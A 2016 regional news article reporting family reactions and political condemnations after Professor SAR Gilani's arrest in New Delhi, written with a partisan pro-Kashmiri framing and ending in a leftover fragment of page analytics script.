Published On: Fri, Feb 19th, 2016
Published in Category: District News

SAR Gilani’s arrest puts family in shock

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Srinagar: In occupied Kashmir, family members of SAR Gilani have expressed surprise over his arrest saying they came to know about it through media reports. According to Kashmir Media Service, Gilani’s nephew, Sajjad Gilani in a media interview in Srinagar said, “We will wait for police remand to end before chalking the future course of action.” He said that news of Gilani’s arrest reached them through media. “We were quite surprised and shocked to hear about it. We have heard that he had been sent to two-day police remand. Let the remand end first and accordingly we will decide our future course of action,” Sajjad said. “I think the police in New Delhi are deliberately targeting my uncle on one or the other pretext.” He, however, said that they haven’t yet consulted any lawyer. Pertinently, in 2001, Gilani was arrested by Delhi Police in a fake case of attack on Parliament but was later acquitted by the court. Meanwhile, Hurriyet leaders Aasiya Andrabi, Zafar Akbar Butt, Bilal Siddiqui and Mohammad Shafi Reshi in their separate statements strongly condemned the arrest of SAR Gilani and JNU student leader on sedition charges. They said that the detention had exposed secular and democratic claims of India.

Besides Hurriyet leaders, Sikh organization Dal Khalsa in a statement in Amritsar vehemently condemned the arrest of Professor SAR Gilani. Dal Khalsa leaders Kanwar Pal Singh and Dr Manjinder Singh along with human rights activist Advocate Harpal Singh Cheema, in a joint statement termed the arrest of SAR Gilani as undemocratic, unjust and uncalled for. Calling Prof Geelani as a friend of Sikhs, the leaders said, “He was being targeted because while sitting in New Delhi, he strongly speaks in favour of Kashmir cause and also sympathizes with other struggling minorities and oppressed people.”s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;